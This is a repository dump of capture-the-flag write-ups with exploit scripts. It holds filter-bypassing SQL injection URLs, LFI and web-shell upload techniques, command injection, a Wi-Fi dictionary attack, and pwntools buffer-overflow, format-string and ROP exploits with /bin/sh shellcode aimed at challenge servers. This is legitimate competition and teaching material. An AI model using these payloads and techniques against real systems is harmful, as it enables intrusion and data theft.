mysql.connector 2 | import time 3 | import os 4 | Host="localhost" 5 | UsernameR="kahla" 6 | PasswordR="123" 7 | Database="chall3" 8 | CursorR=None 9 | DBR = mysql.connector.connect( 10 | host=Host, 11 | user=UsernameR, 12 | passwd=PasswordR, 13 | database=Database 14 | ) 15 | CursorR = DBR.cursor(dictionary=True) 16 | 17 | def persist(): 18 | table_name="users" 19 | time="15" 20 | last="yes" 21 | injection="100.26.206.184/?u=',(select 1),(select 2)),('99','a" 22 | try: 23 | CursorR.execute("INSERT INTO "+table_name+" (id,username,password,test) VALUES ('"+str(10)+"','"+injection+"','"+time+"','"+last+"')") 24 | print("INSERT INTO "+table_name+" (id,username,password,test) VALUES ('"+str(2)+"','"+injection+"','"+time+"','"+last+"')") 25 | DBR.commit() 26 | #resetSQL() 27 | except Exception as e: 28 | print("INSERT INTO "+table_name+" (id,username,password,test) VALUES ('"+str(2)+"','"+injection+"','"+time+"','"+last+"')") 29 | 30 | # print("INSERT INTO "+table_name+" (id,username,password) VALUES ('"+"15"+"','"+domain['Domain']+"','"+domain['Date resolved']+"')") 31 | print("EXCEPTION: ",e) 32 | #resetSQL() 33 | #initSQL() 34 | persist() -------------------------------------------------------------------------------- /Securinets Prequals 2k20/The after-Prequal/README.md: -------------------------------------------------------------------------------- 1 | # **The after-Prequal (971pts) (19 Solves)** 2 | 3 | ![TASK](https://imgur.com/pXLjH4n.png) 4 | 5 | This task was so fun and i learned new things from it , we are given a website with a search functionality and after testing a single quote injection we had an SQL error , so let's start the exploitation of the famous SQL injection :D 6 | 7 | ![TASK](https://imgur.com/B2IbSxr.png) 8 | 9 | After the basic enumeration we can notice that these characters are filtered : **[" ","-",","]** so we will use the following bypasses: 10 | 11 | 1. The white space : **%0A** 12 | 2. The "-" : we will use **#** to comment 13 | 3. The "," : we will use join to bypass it 14 | 15 | This step took me some time , after some tries i succeeded in equilibrating the query : 16 | 17 | > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0A2)b%0Ajoin%0A(select%0A3)c)%0A%23 18 | 19 | ![TASK]( https://imgur.com/5VSI80e.png) 20 | 21 | And BINGO ! we succeeded to inject , all we have to do know is to dump the database as usual 22 | 23 | 1. Tables: 24 | 25 | > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Atable_name%0AfRoM%0Ainformation_schema.tables)b%0Ajoin%0A(select%0A3)c)%0A%23 26 | 27 | **Table name**: secrets 28 | 29 | ![TASK](https://imgur.com/m190lNI.png) 30 | 31 | 2. Columns: 32 | 33 | > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Acolumn_name%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name="secrets")b%0Ajoin%0A(select%0A3)c)%0A%23 34 | 35 | The interesting **Column name** : value 36 | 37 | ![TASK](https://imgur.com/TegJtmS.png) 38 | 39 | And finally : 40 | 41 | > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Avalue%0Afrom%0Asecrets)b%0Ajoin%0A(select%0A3)c)%0A%23 42 | 43 | ![TASK](https://imgur.com/8ycD4ru.png) 44 | 45 | Damn no flag for us :'( but no problem maybe if we just do load_file("flag.txt") we will have the flag ? unfortunately it wont work, in fact it's not that easy and this is the most juicy part of the task xd 46 | i checked the privileges of the current user and the FILE permission was not grantable ! wtf , this result was unpredictable for me so i started digging in mysql file permissions docs until i found this :D 47 | 48 | ![TASK](https://imgur.com/TgUXftd.png) 49 | 50 | > To limit the location in which files can be read and written, set the **secure_file_priv** system variable to a specific directory. See Section 5.1.8, “Server System Variables”. 51 | 52 | So probably the author have set a custom location in the global variable **secure_file_priv** , let's check its value in @@GLOBAL.secure_file_priv 53 | 54 | >?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0A@@GLOBAL.secure_file_priv)b%0Ajoin%0A(select%0A3)c)%0A%23 55 | 56 | ![TASK](https://imgur.com/Pdn180B.png) 57 | 58 | BINGOOO ! so let's have our flag now : 59 | 60 | > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Aload_file("/var/lib/mysql-files/flag/flag.txt"))b%0Ajoin%0A(select%0A3)c)%0A%23 61 | 62 | **FLAG** : Securinets{SecuR3_YourSQL!} , I have enjoyed this task and learned a lot about mysql privileges from it , thank you @bibiwars or should i call you @nox xD If you enjoyed the writeup share it with your friends and don't hesitate to ask me on twitter @BelkahlaAhmed1 :D 63 | -------------------------------------------------------------------------------- /SecurinetsMiniCTF/README.md: -------------------------------------------------------------------------------- 1 | # SecurinetsMiniCTF Writeups # 2 | Hello guys , you will find here writeups of SecurinetsMiniCTF tasks written by Kahla (Meeeeeee ! ) , i want to apologize for the lack of details in these solvers , i really didn't have enough time (exams are sooon :'( ) anyways don't hesitate and contact me if you had any problems 3 | 4 | ## Warm Up (535 Pts) ## 5 | 6 | ![TASK](https://i.imgur.com/JM2d9Dd.jpg) 7 | 8 | 9 | In this task we are given a simple web page showing an include statement , the idea is simple this is a local file inclusion LFI and our goal is to read flag.php content so we will use php wrappers . 10 | 11 | ***Payload*** : 12 | > url/_=php://filter/convert.base64-encode/resource=flag.php 13 | we will then have the flag.php content encoded with base64 , so after decoding it we get our flag 14 | 15 | ## No More Warm Up (884 Pts) ## 16 | 17 | ![TASK](https://i.imgur.com/SbuUjoK.jpg) 18 | 19 | 20 | In this task we are given an upload page, in fact there are two solutions 21 | 22 | - ***The unintended*** one which i think pretty easy xd : 23 | 24 | you only have to upload a php shell with the name "foo.jpg.php" 25 | **Example :** 26 | 27 | Content of foo.jpg.php : 28 | ```php 29 | 30 | ``` 31 | and then we just have to visit 32 | >/uploads/foo.jpg.php?command=YourCommandHere 33 | 34 | - ***The Intended Solution:*** 35 | 36 | We can notice that there is a possibility of an LFI in the page parameter but unfortunately all the known php wrappers are filtered (The Author is 3vil) 37 | 38 | Because of the existence of the upload feature we can think of the possibility of using the zip wrapper 39 | so firstly we create foo.php file : 40 | ```php 41 | 42 | ``` 43 | 44 | Then we have to compress the file : 45 | > zip foo.zip foo.php 46 | 47 | and rename it to foo.jpg : 48 | > mv foo.zip foo.jpg 49 | 50 | and finally after uploading the foo.jpg file our payload will be : 51 | >/?page=zip://uploads/foo.jpg%23foo 52 | 53 | Now the foo.php will be unzipped and we will have the possibility to execute the command you wrote 54 | 55 | ## My Hero (884 Pts) ## 56 | 57 | ![TASK](https://i.imgur.com/iKcmReS.jpg) 58 | 59 | We are given a page with php code inside , there are two conditions we need to bypass to have our beloved flag , 60 | 61 | ![TASK](https://i.imgur.com/KdtGnwn.png) 62 | 63 | 64 | - First check : 65 | > if(file_get_contents(@$_GET['__'])==="Kahla is my hero") 66 | 67 | in order to bypass this condition we will have to use the input php wrapper 68 | - The second condition : 69 | >if(strcmp(@$_GET['_'],$pass)==0) 70 | 71 | We will exploit php type juggling, in php NULL==0 will return True so we will try to pass an array as a parameter then the strcmp (AnArray,$pass) will return Null 72 | 73 | ***Finally this is our payload :*** 74 | > /?__=php://input&_[]= 75 | 76 | And don't forget to write the sentence "Kahla is my hero" in the body of the Http request(you can use burp to facilitate things) 77 | 78 | ## No Clues (1000 Pts) ## 79 | 80 | ![TASK](https://i.imgur.com/xUL2HVO.jpg) 81 | 82 | 83 | In this task we got a picture of the admin connecting to a web server through proxies so we can think that maybe we will use X-forwarded-for http header , You can read about it here [LINK](https://en.wikipedia.org/wiki/X-Forwarded-For) 84 | 85 | ![TASK](https://i.imgur.com/aBTtnLy.jpg) 86 | 87 | As we can see in this wikipedia article , the X-forwarded-for header adds automatically the last connected proxy (proxy 3 88 | in our case which is a load balancer maybe) 89 | > X-Forwarded-For: client, proxy1, proxy2 90 | where the value is a comma+space separated list of IP addresses, the left-most being the original client, and each successive proxy that passed the request adding the IP address where it received the request from. In this example, the request passed through proxy1, proxy2, and then proxy3 (not shown in the header). 91 | 92 | so we will add this header to our http request using burp suite: 93 | >X-Forwarded-For:adminIP,Proxy1,Proxy2 ***(replace each one with its ip address xd)*** 94 | 95 | Bingo we are now connected as an admin and we have a simple web page that pings any ip we provide , this step is pretty simple by entering : 96 | >11;ls 97 | 98 | we can have an RCE , so our last payload is 99 | >12;cat z21851ddfde521782z8 100 | 101 | ## More Than A Crush 2 (991 Pts) ## 102 | 103 | ![TASK](https://i.imgur.com/ZeMhn9B.jpg) 104 | 105 | 106 | In this Forensics task , we were given a wireshark capture ,each ICMP packet of type 0 hold within it some raw data that's why we ll extract it using scapy library in python , concatenate all this data and then decode it 107 | 108 | ![TASK](https://i.imgur.com/429tPOP.png) 109 | 110 | 111 | ```python 112 | #!/usr/bin/env python 113 | 114 | from scapy.all import * 115 | import base64 116 | 117 | #EXTRACT RAW FLAG 118 | def extract_flag(): 119 | bin="" 120 | packets=rdpcap("morecv2.pcapng") 121 | for pckt in packets : 122 | if pckt.haslayer(scapy.all.ICMP) : 123 | if pckt[scapy.all.ICMP].type==0: 124 | try: 125 | # pckt[scapy.all.ICMP].show() 126 | bin+=pckt[scapy.all.Raw].load 127 | except ValueError: 128 | continue 129 | return bin 130 | 131 | #MAIN 132 | 133 | raw_bin=extract_flag() 134 | #DECODE Base64 AND CREATE THE ZIP FILE 135 | with open("youuupi.zip","wb") as file: 136 | file.write(base64.b64decode(raw_bin)) 137 | ``` 138 | Finally you only have to unzip the extracted file and then use strings tool to have the flag 139 | 140 | ## Chonin LvL (713 Pts) ## 141 | 142 | ![TASK](https://i.imgur.com/PxApLp2.jpg) 143 | 144 | 145 | This task is pretty simple , we have a pcap file of a handshake so we need to get the password of this access point in order to submit it, we will launch a dictionary attack 146 | 147 | >aircrack-ng .pcap -w /usr/share/wordlists/rockyou.txt 148 | 149 | And Bingo the password is ***gohan123*** 150 | 151 | ## ## 152 | I hope you enjoyed the tasks and learned from them, i apologize again for the lack of details , contact me if you faced any problems 153 | -------------------------------------------------------------------------------- /TAMU CTF/B64DECODER/README.md: -------------------------------------------------------------------------------- 1 | ## B64DECODER (244pts) ## 2 | 3 | ![TASK](https://imgur.com/ZVHG4PA.png) 4 | 5 | This is wont be a detailed writeup , however in this task we have a clear format string vulnerability (line 23) and a leak of a64l function address 6 | 7 | ![TASK](https://imgur.com/EIv7uYX.png) 8 | 9 | The idea is to overwrite the GOT entry of a64l function with the address of system in libc (not system@plt) using the format string vulnerability , it's also a partial overwrite because we have a limited length of input (32 characters) and using the leaked address of a64l we can easily know the address of system function , here is my exploit : 10 | 11 | ```python 12 | from pwn import * 13 | import struct 14 | import sys 15 | def pad(str): 16 | return str+"X"*(32-len(str)) 17 | payload="" 18 | #p=process("./b64decoder") 19 | p=remote("challenges.tamuctf.com",2783) 20 | d=p.recvuntil("name!") 21 | A64Ladd=d[:-18][-10:] 22 | TOWRITE="0x"+A64Ladd[-4:] 23 | sys=int(TOWRITE,16)-1680-4 #A64l-0x690 24 | log.info(TOWRITE) 25 | log.info(sys) 26 | A64L_PLT=0x804b398 27 | a64lADD=p32(A64L_PLT) 28 | payload+=a64lADD 29 | payload+="%"+str(sys)+"x%71$hn" 30 | log.info("payload crafted") 31 | p.sendline(payload) 32 | log.info("Sent , Haaaw el shell") 33 | p.interactive() 34 | 35 | ``` 36 | And Bingo we got our shell :D 37 | 38 | ![TASK](https://imgur.com/jd78uIm.png) 39 | 40 | Any questions you can contact me on twitter @BelkahlaAhmed1 , i'm sorry for the lack of details :( 41 | -------------------------------------------------------------------------------- /TAMU CTF/B64DECODER/b64decoder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/TAMU CTF/B64DECODER/b64decoder -------------------------------------------------------------------------------- /TAMU CTF/B64DECODER/exploitfmt.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import struct 3 | import sys 4 | def pad(str): 5 | return str+"X"*(32-len(str)) 6 | payload="" 7 | #p=process("./b64decoder") 8 | p=remote("challenges.tamuctf.com",2783) 9 | d=p.recvuntil("name!") 10 | A64Ladd=d[:-18][-10:] 11 | TOWRITE="0x"+A64Ladd[-4:] 12 | sys=int(TOWRITE,16)-1680-4 #A64l-0x690 13 | log.info(TOWRITE) 14 | log.info(sys) 15 | A64L_PLT=0x804b398 16 | a64lADD=p32(A64L_PLT) 17 | payload+=a64lADD 18 | payload+="%"+str(sys)+"x%71$hn" 19 | log.info("payload crafted") 20 | p.sendline(payload) 21 | log.info("Sent , Haaaw el shell") 22 | p.interactive() 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /TAMU CTF/TROLL/README.md: -------------------------------------------------------------------------------- 1 | ## TROLL (50pts) ## 2 | 3 | ![TASK](https://imgur.com/AgJ7rGR.png) 4 | 5 | In this task we are supposed to win a game by guessing the next 100 random numbers , looking at the source code we can see the vulnerable gets function , after that we are setting the seed 6 | value to the time and finally the beginning of the loop and generating the random numbers and questions each time . 7 | 8 | ![MAIN](https://imgur.com/AApFQgK.png) 9 | 10 | My idea was to overwrite the seed value with our own value than BINGO we can generate the next random numbers and win the game , i have done things manually , i entered a unique seaquence and than observed with gdb if i have overwritten where the seed value is stored 11 | 12 | My input : 13 | > AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ 14 | 15 | ![TASK](https://imgur.com/XqjEzZQ.png) 16 | 17 | I have entered a sequence of alphabet characters and stopped in the call of srand function , you can see te RDI register(where the 1st argument passed to a function is stored) hold the value of "MMMM" 18 | so if we replace "MMMM" with the value we want , this value will be the seed for the random numbers. 19 | 20 | I have written this little C program to generate 100 random numbers using our chosen seed and stored them in a file : 21 | ```c 22 | #include 23 | #include 24 | #include 25 | 26 | int main(int argc, char *argv[]){ 27 | int i=0; 28 | int seed=3472328296227680305 //0x1000 in decimal 29 | srand(seed); 30 | for(i=0;i<=99;i++){ 31 | int a=rand()% 100000 + 1; 32 | printf("%d\n",a); 33 | } 34 | return 0; 35 | } 36 | ``` 37 | 38 | After that i have written this exploit to overwrite the seed value with 0x1000 and answer the questions using the numbers we have generated 39 | 40 | ```python 41 | from pwn import * 42 | #p=process("./troll") 43 | p=remote("challenges.tamuctf.com",4765) 44 | p.recvuntil("Who goes there?") 45 | SEED="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1000" 46 | p.sendline(SEED) 47 | log.info("Sent First payload") 48 | answers=open("answer","r") 49 | for line in answers: 50 | p.recvuntil("What is it?") 51 | log.info("sending answer: "+line) 52 | p.sendline(line) 53 | p.interactive() 54 | 55 | ``` 56 | Note: the offset in the remote server is different, so i had to guess it xD However we got our flag : 57 | 58 | ![MAIN](https://imgur.com/QjwTHDR.png) 59 | 60 | This is the first time writing a pwn writeup so i hope you enjoyed it , any questions you can find me on twitter @BelkahlaAhmed1 61 | -------------------------------------------------------------------------------- /TAMU CTF/TROLL/solve.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char *argv[]){ 6 | int i=0; 7 | // int seed=808464433; 8 | int seed=3472328296227680305 9 | srand(seed); 10 | for(i=0;i<=99;i++){ 11 | int a=rand()% 100000 + 1; 12 | //printf("%d :: %d - %d - %d\n",seed,a,b,c); 13 | printf("%d\n",a); 14 | } 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /TAMU CTF/TROLL/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #p=process("./troll") 3 | p=remote("challenges.tamuctf.com",4765) 4 | p.recvuntil("Who goes there?") 5 | SEED="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1000" 6 | p.sendline(SEED) 7 | log.info("Sent First payload") 8 | answers=open("answer","r") 9 | for line in answers: 10 | p.recvuntil("What is it?") 11 | log.info("sending answer: "+line) 12 | p.sendline(line) 13 | p.interactive() 14 | -------------------------------------------------------------------------------- /TAMU CTF/TROLL/troll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/TAMU CTF/TROLL/troll -------------------------------------------------------------------------------- /TG-Hack/Bufferfly/README.md: -------------------------------------------------------------------------------- 1 | ## Bufferfly(197pts) 45 solves ## 2 | 3 | ![TASK](https://imgur.com/4nNKDaN.png) 4 | 5 | The idea is simple , we will do a rop chain and use mprotect to make the stack executable , here is my exploit : 6 | 7 | ```python 8 | from pwn import * 9 | #p=process("./bufferfly") 10 | p=remote("bufferfly.tghack.no",6002) 11 | OFFSET_vars=cyclic(cyclic_find("aaea")) 12 | payload=OFFSET_vars 13 | payload+="J"+p32(0x1900ffff) 14 | p.recvuntil("yourself.") 15 | p.sendline(payload) 16 | # Part 2 17 | log.info("Part 2 Start") 18 | data=p.recvuntil("you wanna go now?") 19 | LEAKF1=p32(int(data.split(" ")[-17][:-2],16)) 20 | log.info("LEAK 1 : "+ data.split(" ")[-17][:-2]) 21 | #raw_input("attach gdb dude") 22 | OFFSET=cyclic(31) 23 | payload=OFFSET+"J" 24 | payload+=LEAKF1 25 | p.sendline(payload) 26 | # Part 3 27 | p.recvuntil("looking for?\"") 28 | p.sendline("mprotec") 29 | d=p.recvuntil("done?").split("\n")[1][-11:-1] 30 | log.info("mprotect leaked : "+d) 31 | MPROTECT=p32(int(d,16)) 32 | p.sendline("aa") 33 | p.recvuntil("for?\"") 34 | shellcode="\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" 35 | nop="\x90"*40 36 | p.sendline("mattac") 37 | d=p.recvuntil("here...").split(".")[3][-10:] 38 | log.info("Buffer @ leaked: "+d) 39 | BUFFER=p32(int(d,16)+0x6c) 40 | BUFFERSTART=p32(int(d[:-3]+"000",16)) 41 | #raw_input("Attach dude") 42 | p.recvuntil("are you done?") 43 | OFFSET=cyclic(78) 44 | payload=OFFSET+"J" 45 | payload+=MPROTECT 46 | payload+=BUFFER 47 | payload+=BUFFERSTART 48 | payload+=p32(0x1000) 49 | payload+=p32(0x00000007) 50 | p.sendline("done\x00"+payload+nop+shellcode) 51 | p.interactive() 52 | 53 | ``` 54 | For any questions feel free to text me on twitter @BelkahlaAhmed1 55 | -------------------------------------------------------------------------------- /UMDCTF 2020/Cowspeak as a Service (CaaS)/README.md: -------------------------------------------------------------------------------- 1 | # Cowspeak as a Service (CaaS) 250pts (29 solves) # 2 | 3 | ![TASK](https://imgur.com/xNtRfrq.png) 4 | 5 | I liked the idea of the task, we are given the source code and we have to print the first message 6 | 7 | ```c 8 | #include 9 | #include 10 | #include 11 | 12 | void moo(char *msg) 13 | { 14 | char speak[64]; 15 | int chief_cow = 1; 16 | 17 | strcpy(speak, msg); 18 | speak[strcspn(speak, "\r\n")] = 0; 19 | setenv("MSG", speak, chief_cow); 20 | 21 | system("./cowsay $MSG"); 22 | 23 | } 24 | 25 | int main() { 26 | char buf[1024]; 27 | setbuf(stdout, NULL); 28 | puts("Welcome to Cowsay as a Service (CaaS)!\n"); 29 | puts("Enter your message: \n"); 30 | 31 | fgets(buf, 1024, stdin); 32 | moo(buf); 33 | 34 | return 0; 35 | } 36 | 37 | ``` 38 | 39 | We can notice the buffer overflow of the speak buffer in moo function, but we won't be able here to spawn a shell and that's not the purpose of the task xd , if we 40 | read about setenv function we can notice that if its third parameter is different than zero it will overwrite the environment variable if it already exists , and if it's equal to zero it won't overwrite it. 41 | 42 | So the idea is clear now, we will use the BOF to make the **speak[strcspn(speak, "\r\n")] = 0;** line sets the chief_cow variable to zero. 43 | 44 | Here is my full exploit : 45 | 46 | ```python 47 | from pwn import * 48 | for i in range(60,90): 49 | p=remote("192.241.138.174",9998) 50 | p.recvuntil("message:") 51 | payload="A"*i+"\r\n\x00" 52 | p.sendline(payload) 53 | data=p.recvuntil(""" || || 54 | """) 55 | if "UMD" in data : 56 | log.info("Fouuuuund at: "+str(i)) 57 | print data 58 | break 59 | p.close() 60 | ``` 61 | 62 | The offset was 74 which is logic . If you have any questions you can DM on twitter @BelkahlaAhmed1 and thank you :D 63 | -------------------------------------------------------------------------------- /UMDCTF 2020/Cowspeak as a Service (CaaS)/sploitcow.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | for i in range(60,90): 3 | p=remote("192.241.138.174",9998) 4 | p.recvuntil("message:") 5 | payload="A"*i+"\r\n\x00" 6 | p.sendline(payload) 7 | data=p.recvuntil(""" || || 8 | """) 9 | if "UMD" in data : 10 | log.info("Fouuuuund at: "+str(i)) 11 | print data 12 | break 13 | p.close() 14 | -------------------------------------------------------------------------------- /UMDCTF 2020/Easy Right?/README.md: -------------------------------------------------------------------------------- 1 | # Easy Right 150 pts(61 solves) # 2 | ![TASK](https://imgur.com/KPAwfTa.png) 3 | 4 | It was a simple Ret to shellcode task,and we are given a leak of the stack address , here is my exploit 5 | 6 | ```python 7 | 8 | from pwn import * 9 | p=remote("142.93.113.134",9999) 10 | #p=process("./baby") 11 | data=p.recvline() 12 | stack=int("0x"+data[-13:],16) 13 | log.info("Stack address: "+hex(stack)) 14 | #pause() 15 | shellcode="\x90\x90\x90\x90\x90\x90\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" 16 | OFFSET=cyclic(100) 17 | payload=shellcode 18 | payload+=OFFSET 19 | payload+=p64(stack) 20 | p.sendline(payload) 21 | p.interactive() 22 | 23 | ``` 24 | **Note:** Here is the link of the binary [LINK](https://github.com/kahla-sec/CTF-Writeups/blob/master/UMDCTF%202020/Easy%20Right%3F/baby) and the [EXPLOIT](https://github.com/kahla-sec/CTF-Writeups/blob/master/UMDCTF%202020/Easy%20Right%3F/exp1.py) 25 | 26 | Any questions you can DM on twitter @BelkahlaAhmed1 , thank you :D 27 | -------------------------------------------------------------------------------- /UMDCTF 2020/Easy Right?/baby: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/UMDCTF 2020/Easy Right?/baby -------------------------------------------------------------------------------- /UMDCTF 2020/Easy Right?/exp1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | p=remote("142.93.113.134",9999) 3 | #p=process("./baby") 4 | data=p.recvline() 5 | stack=int("0x"+data[-13:],16) 6 | log.info("Stack address: "+hex(stack)) 7 | #pause() 8 | shellcode="\x90\x90\x90\x90\x90\x90\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" 9 | OFFSET=cyclic(100) 10 | payload=shellcode 11 | payload+=OFFSET 12 | payload+=p64(stack) 13 | p.sendline(payload) 14 | p.interactive() 15 | -------------------------------------------------------------------------------- /UMDCTF 2020/Jump Not Found/JNF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/UMDCTF 2020/Jump Not Found/JNF -------------------------------------------------------------------------------- /UMDCTF 2020/Jump Not Found/README.md: -------------------------------------------------------------------------------- 1 | # Jump Not Found 400pts (25 solves) # 2 | 3 | ![TASK](https://imgur.com/epSLtgQ.png) 4 | 5 | This was a heap based overflow , we will overflow the jumpToHoth function address with jumpToNaboo (Win) function address, i faced a little problem because gets stops when it encounters an "\n" (0x0a) and the WIN function address has 0x0a so i have chosen an address in the WIN function (not the start of the function). 6 | 7 | Here is my full exploit , if you are interested i will post a detailed writeup about this challenge and WPICTF pwn challenges in the next days, so stay tuned (My twitter account @BelkahlaAhmed1) 8 | 9 | ```python 10 | 11 | from pwn import * 12 | 13 | p=process("./JNF") 14 | #p=remote("192.241.138.174",9996) 15 | p.recvuntil("CONSOLE>") 16 | WIN=p64(0x000000000040070e) 17 | OFFSET="1"+"A"*79 18 | payload=OFFSET 19 | payload+=WIN 20 | p.sendline(payload) 21 | log.info("Found Flag ! ") 22 | p.interactive() 23 | 24 | ``` 25 | 26 | **Note:** Binary link [HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/UMDCTF%202020/Jump%20Not%20Found/JNF) 27 | If you have any questions you can DM on twitter @BelkahlaAhmed1 , thank you :D 28 | -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia1/README.md: -------------------------------------------------------------------------------- 1 | # dorsia1 100pts (119 solves) # 2 | 3 | ![TASK](https://imgur.com/UYebsbW.png) 4 | 5 | we are given the source code , it's a buffer overflow but we don't know the offset , i leaked the libc (using the system address) and used a one gadget from the libc to return to it 6 | 7 | ![CODE](https://imgur.com/sj0QL9v.png) 8 | 9 | Here is my full exploit , i'll share a detailed writeup about dorsia3 in the next few days on my personal website so stay tuned (My twitter @BelkahlaAhmed1) 10 | 11 | ```python 12 | from pwn import * 13 | for i in range(69,90): 14 | p=remote("dorsia1.wpictf.xyz",31337) 15 | #p=process("./pwn") 16 | leak=p.recvline() 17 | SYSTEM=int(leak,16)-765772 18 | BASE=SYSTEM-0x0004f440 19 | log.info("System address: "+hex(SYSTEM)) 20 | log.info("Base: "+hex(BASE)) 21 | one_gadget=BASE+0x0004f322 22 | log.info("One gadget: "+hex(one_gadget)) 23 | payload="\x00"*i 24 | payload+=p64(one_gadget) 25 | p.sendline(payload) 26 | p.sendline("id") 27 | try: 28 | data=p.recvline() 29 | if "gid" in data: 30 | log.info("Fouuund!") 31 | p.interactive() 32 | except Exception: 33 | continue 34 | ``` 35 | **Note:** The source code link is [HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia1/task.c) 36 | 37 | If you have any questions you can contact me on twitter @BelkahlaAHmed1 38 | -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia1/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | for i in range(69,90): 3 | p=remote("dorsia1.wpictf.xyz",31337) 4 | #p=process("./pwn") 5 | leak=p.recvline() 6 | SYSTEM=int(leak,16)-765772 7 | BASE=SYSTEM-0x0004f440 8 | log.info("System address: "+hex(SYSTEM)) 9 | log.info("Base: "+hex(BASE)) 10 | one_gadget=BASE+0x0004f322 11 | log.info("One gadget: "+hex(one_gadget)) 12 | payload="\x00"*i 13 | payload+=p64(one_gadget) 14 | p.sendline(payload) 15 | p.sendline("id") 16 | try: 17 | data=p.recvline() 18 | if "gid" in data: 19 | log.info("Fouuund!") 20 | p.interactive() 21 | except Exception: 22 | continue 23 | -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia1/task.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | void main(){ 4 | char a[69]; 5 | printf("%p\n",system+765772); 6 | fgets(a,96,stdin); 7 | } 8 | -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia3/README.md: -------------------------------------------------------------------------------- 1 | # dorsia3 250pts (55 solves) # 2 | 3 | ![TASK](https://imgur.com/vFmQYat.png) 4 | 5 | We have a format string vulnerability and a leak of the buffer and system address so my idea was to overwrite the saved eip with the address of a one gadget from libc , we have all what we need so here is my full exploit. 6 | 7 | I'll post a detailed writeup about this task in the next few days on my personal website so stay tuned (my twitter @BelkahlaAhmed1)! 8 | 9 | ![CODE](https://imgur.com/GSFhTJW.png) 10 | 11 | ```python 12 | 13 | from pwn import * 14 | def pad(str): 15 | return str+(60-len(str))*"B" 16 | #p=process("./nanoprint") 17 | p=remote("dorsia3.wpictf.xyz",31337) 18 | data=p.recvline() 19 | BUFFER=int(data[:10],16) 20 | SYSTEM=int(data[-11:-1],16)+288 21 | log.info("Buffer starts: "+hex(BUFFER)) 22 | log.info("System address: "+hex(SYSTEM)) 23 | BASE=SYSTEM-0x3d200 24 | one_gadget=BASE+0x3d0e0 25 | RET=BUFFER+0x71 26 | RET2=RET+2 27 | log.info("Writing to: "+hex(RET)) 28 | payload="B" 29 | payload+=p32(RET) 30 | payload+=p32(RET2) 31 | off1=(one_gadget & 0xffff)-9 32 | off2=int(hex(one_gadget & 0xffff0000)[:-4],16)-(one_gadget & 0xffff) 33 | log.info("one gadget address: "+hex(one_gadget)) 34 | log.info("offset1 and 2: "+str(off1)+"|"+str(off2)) 35 | payload+="%"+str(off1)+"x" 36 | payload+="%7$hn" 37 | payload+="%"+str(off2)+"x" 38 | payload+="%8$hn" 39 | #pause() 40 | p.sendline(pad(payload)) 41 | p.interactive() 42 | 43 | #Offset buffer-ret : +0x71 44 | #offset fmt 7 45 | 46 | ``` 47 | 48 | **Note:** : Here is the [binary](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia3/nanoprint) and the [libc](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia3/libc.so.6) 49 | 50 | For any questions you can contact me on twitter @BelkahlaAhmed1 and thank you :D 51 | -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia3/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | def pad(str): 3 | return str+(60-len(str))*"B" 4 | #p=process("./nanoprint") 5 | p=remote("dorsia3.wpictf.xyz",31337) 6 | data=p.recvline() 7 | BUFFER=int(data[:10],16) 8 | SYSTEM=int(data[-11:-1],16)+288 9 | log.info("Buffer starts: "+hex(BUFFER)) 10 | log.info("System address: "+hex(SYSTEM)) 11 | 